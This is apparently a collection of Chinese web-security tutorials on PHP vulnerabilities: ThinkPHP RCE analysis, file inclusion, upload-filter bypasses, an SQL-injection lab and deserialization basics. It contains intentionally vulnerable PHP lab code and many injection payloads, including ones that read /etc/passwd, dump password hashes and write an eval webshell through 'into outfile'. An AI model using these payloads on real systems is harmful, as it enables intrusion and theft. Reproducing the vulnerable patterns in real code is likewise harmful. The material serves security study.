PHP漏洞原理
[漏洞分析]thinkphp5.x全版本任意代码执行分析全记录
[漏洞分析]thinkphp5.x全版本任意代码执⾏分析全记录0x00 简介2018年12⽉10⽇中午,thinkphp官⽅公众号发布了⼀个更新通知,包含了⼀个5.x系列所有版本存在被getshell的⾼风险漏洞。
吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。
(以下截图为后截图,主要是想讲⼀下从⽆到有,如何分析漏洞,整个过程是怎么样的。
)0x01 漏洞原理下午睡醒,赶紧起来分析漏洞。
结合官⽅公告说的由于对控制器名没有⾜够的检测,再查看官⽅git commit信息拉⼀个tp下来,⽤的是tp 5.1.29的版本,windows+phpstudy ⼀把梭,搭建好环境。
在官⽅修改的地⽅加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。
请求:http://127.0.0.1/index.php/index/index/index命中断点。
⼀步步跟进controller的⾛向,发现在同⽂件下的 exec函数,实例化控制器跟进controller⽅法,thinkphp\library\think\App.php使⽤parseModuleAndClass⽅法来解析,继续跟进分析⼀下代码,发现会有⼀个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。
此处没有包含,所以会进⼊下⾯的判断,最后使⽤parseClass来解析,跟如parseClass函数发现进过parseName之后index变成了⾸字母⼤写,原因是经过了命名风格转换。
最后会将命名空间等进⾏拼接返回我们带命名空间的完整类名。
跟进,回到了controller⽅法,此时判断类是否存在,不存在会触发⾃动加载类。
之后就是实例化类,使⽤反射来调⽤类的相应⽅法了。
(偷懒省略掉了,主要是介绍⼀下分析的过程)⼤概流程摸清楚了,那么这个漏洞是怎么触发的呢?在跟踪的时候我们发现,类名都是带有完整的命名空间的,⽽命名空间恰好就是使⽤反斜杠来划分,结合那⼀个判断代码:反斜杠是否存在,直接返回类名的操作。
PHP文件包含漏洞详解
PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
PHP常见漏洞代码总结
PHP常见漏洞代码总结漏洞总结PHP ⽂件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过⽅式使⽤Burp抓包,将上传的⼀句话⼩马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){// 判断 content-type 的类型,如果是image/png则通过if($_FILES['upload_file']['type'] == 'image/png'){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单的绕过: ⽩名单就是允许上传某种类型的⽂件,该⽅式⽐较安全,抓包上传php后门,然后将⽂件名改为.jpg即可上传成功,但是有时候上传后的⽂件会失效⽆法拿到Shell.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_FILES['upload_file']['name']); // 取出⽂件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = strtolower($file_ext); // 转换为⼩写$file_ext = trim($file_ext); // ⾸尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单验证⽂件头: 本关主要是允许jpg/png/gif这三种⽂件的传输,且代码中检测了⽂件头的2字节内容,我们只需要将⽂件的头两个字节修改为图⽚的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49以JPEG为例,我们在⼀句话⽊马的开头添加两个11也就是⼆进制的3131,然后将.php修改为.jpg,使⽤Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2);fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode){case 255216: $fileType = 'jpg'; break;case 13780: $fileType = 'png'; break;case 7173: $fileType = 'gif'; break;default: $fileType = 'unknown';}return $fileType;}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){echo "上传失败 <br>";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path))echo "上传完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>绕过检测⽂件头: 这种⽅式是通过⽂件头部起始位置进⾏匹配的从⽽判断是否上传,我们可以通过在上传⽂件前⾯追加合法的⽂件头进⾏绕过,例如在⽂件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在⽂件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$fh = fopen($filename, "rb");if($fh){$bytes = fread($fh,6);fclose($fh);if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){return "image/jpeg";}if($bytes == "\x89PNG\x0d\x0a"){return "image/png";}if($bytes == "GIF87a" or $bytes == "GIF89a"){return "image/gif";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>图像检测绕过: 通过使⽤图像函数,检测⽂件是否为图像,如需上传则需要保持图像的完整性,所以⽆法通过追加⽂件头的⽅式绕过,需要制作图⽚⽊马上传.针对这种上传⽅式的绕过我们可以将图⽚与FIG⽂件合并在⼀起copy /b pic.gif+shell.php 1.php上传即可绕过.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>上传条件竞争: 这⾥是条件竞争,先将⽂件上传到服务器,然后判断⽂件后缀是否在⽩名单⾥,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利⽤burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext, $ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);echo "上传完成. <br>";}else{unlink($upload_file);echo "上传失败. <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>PHP 注⼊漏洞基本查询语句搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.7以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@"), (2,"lyshark",md5("adsdfw2345"),"lyshark@"),(3,"guest",md5("12345678"),"guest@"),(4,"Dumb",md5("458322456"),"Dumb@"),(5,"Angelina",md5("GIs92834"),"angelina@"),(6,"Dummy",md5("HIQWu28934"),"dummy@"),(7,"batman",md5("suw&*("),"batmain@"),(8,"dhakkan",md5("swui16834"),"dhakakan@"),(9,"nacki",md5("fsie92*("),"cbooks@"),(10,"wuhaxp",md5("sadwq"),"cookiec@"),(11,"cpiwu",md5("sadwq"),"myaccce@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query)$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><br><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>Union 查询字段个数: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常.⾸先我们猜测,当前字段数为4的时候页⾯⽆返回,也就说明表字段数必然是⼤于4的,接着增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+Order By查询字段个数: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,如果想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,或者通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.# 通过 limit 限定条件每次只输出⼀个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数⼀次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出⼀个表中字段,使⽤limit进⾏遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+查询表中数据: 通过上⾯的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进⾏读取表中数据. index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+常⽤的查询语句: 除此以外,我们还可以使⽤以下常⽤判断条件的配合实现对数据库其他权限的进⼀步注⼊.# -----------------------------------------------------------------------------------# 判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库GET 注⼊简单的注⼊测试: 本关中没有对代码进⾏任何的过滤.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><?phpfunction getCurrentUrl(){$scheme = $_SERVER['REQUEST_SCHEME']; // 协议$domain = $_SERVER['HTTP_HOST']; // 域名$requestUri = $_SERVER['REQUEST_URI']; // 请求参数$currentUrl = $scheme . "://" . $domain . $requestUri;return urldecode($currentUrl);}><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select username,password from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<font size='5'>";echo "账号: {$row['username']} <br>";echo "密码: {$row['password']} <br>";echo "</font>";echo "后端执⾏语句: {$sql} <br>";$URL = getCurrentUrl();echo "后端URL参数: {$URL} <br>";}else{echo "后端执⾏语句: {$sql} <br>";print_r(mysql_error());}}}}></body></html>SQL语句没有经过任何过滤,或者是过滤不严格,会导致注⼊的发⽣.---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+POST 输⼊框注⼊:<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);if(isset($_POST['uname']) && isset($_POST['passwd'])){$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "后端执⾏语句: {$sql} <br>";}else{echo "<br>后端执⾏语句: {$sql} <br>";}}}}></body></html>简单的进⾏查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤⼦了.# ---------------------------------------------------------------------------------------------------------# SQL语句$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 --admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的⽤户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注⼊-字符型# 此类注⼊很简单,只需要闭合前⾯的")⽽后⾯则使⽤#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# POST型的-双注⼊#$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";admin" and 0 union select 1,version() #Usage-Agent 注⼊: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带⼊数据库的相关操作,则可能会产⽣SQL注⼊问题.建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){// 获取到⽤户的Agent客户请求体$Uagent = $_SERVER['HTTP_USER_AGENT'];// REMOTE_ADDR 是调⽤的底层的会话ip地址,理论上是不可以伪造的$IP = $_SERVER['REMOTE_ADDR'];echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的IP地址是: {$IP} <br>";$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";mysqli_query($connect,$insert_sql);echo "User_Agent请求头: {$Uagent} <br>";}}}}></body></html>⾸先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带⼊数据库查询.POST /post.php HTTP/1.1Host: 192.168.1.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=Submit修改agent验证,可被绕过,此处的语句带⼊数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地⽅即使存在注⼊也⽆法得到结果,但却是⼀个安全隐患,需要引起重视.User-Agent: 1',1,1)#uname=admin&passwd=123123&submit=SubmitUser-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=SubmitCookie 注⼊: 该注⼊的产⽣原因是因为程序员没有将COOKIE进⾏合法化检测,并将其代⼊到了数据库中查询了且查询变量是可控的,当⽤户登录成功后会产⽣COOKIE,每次页⾯刷新后端都会拿着这个COOKIE带⼊数据库查找,这是⾮常危险的.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_COOKIE['uname'];if($cookee){$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";$query = mysqli_query($connect,$sql);echo "执⾏SQL: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);。
浅析PHP反序列化漏洞之PHP常见魔术方法(一)
浅析PHP反序列化漏洞之PHP常见魔术⽅法(⼀)作为⼀个学习web安全的菜鸟,前段时间被⼈问到PHP反序列化相关的问题,以前的博客中是有这样⼀篇反序列化漏洞的利⽤⽂章的。
但是好久过去了,好多的东西已经记得不是很清楚。
所以这⾥尽可能写⼀篇详细点的⽂章来做⼀下记录。
我们来参考这⾥:https:///manual/zh/language.oop5.magic.php我们根据官⽅⽂档中的解释,⼀个⼀个来进⾏测试。
__construct() 和 __destruct()__construct()被称为构造⽅法,也就是在创造⼀个对象时候,⾸先会去执⾏的⼀个⽅法。
我写了这样的⼀个demo来做测试:class test {private$flag = '';public$filename = '';public$data = '';function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;echo 'construct function in test class';echo "<br>";}}$a = new test('test.txt', 'data');测试结果:同样的,我们编写⼀个类的析构⽅法,__destruct()析构函数的作⽤:代码如下:class test {private$flag = '';public$filename = '';public$data = '';function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;echo 'construct function in test class';echo "<br>";}function __destruct() {echo 'destruct function in test class';echo "<br>";}}$a = new test('test.txt', 'data');运⾏结果:__set() __get() __isset() __unset() 作⽤如下:我们⼀样是来写⼀个代码进⾏验证:class test {private$flag = '';# ⽤于保存重载的数据private$data = array();public$filename = '';public$content = '';function __construct($filename, $content) {$this->filename = $filename;$this->content = $content;echo 'construct function in test class';echo "<br>";}function __destruct() {echo 'destruct function in test class';echo "<br>";}function __set($key, $value) {echo 'set function in test class';echo "<br>";$this->data[$key] = $value;}function __get($key) {echo 'get function in test class';echo "<br>";if (array_key_exists($key, $this->data)) {return$this->data[$key];} else {return null;}}function __isset($key) {echo 'isset function in test class';echo "<br>";return isset($this->data[$key]);}function __unset($key) {echo 'unset function in test class';echo "<br>";unset($this->data[$key]);}public function set_flag($flag) {$this->flag = $flag;}public function get_flag() {return$this->flag;}}$a = new test('test.txt', 'data');# __set() 被调⽤$a->var = 1;# __get() 被调⽤echo$a->var;# __isset() 被调⽤var_dump(isset($a->var));# __unset() 被调⽤unset($a->var);var_dump(isset($a->var));echo "\n";运⾏结果:我们可以看到调⽤的顺序为:构造⽅法 => set⽅法(我们此时为类中并没有定义过的⼀个类属性进⾏赋值触发了set⽅法) => get⽅法 => isset⽅法 => unset⽅法 => isset⽅法 =>析构⽅法同时也可以发现,析构⽅法在所有的代码被执⾏结束之后进⾏的。
Discuz!6.x7.x版本前台任意代码执行漏洞
Discuz!6.x7.x版本前台任意代码执⾏漏洞⼀、漏洞原理:由于php5.3.x版本⾥php.ini的设置⾥request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
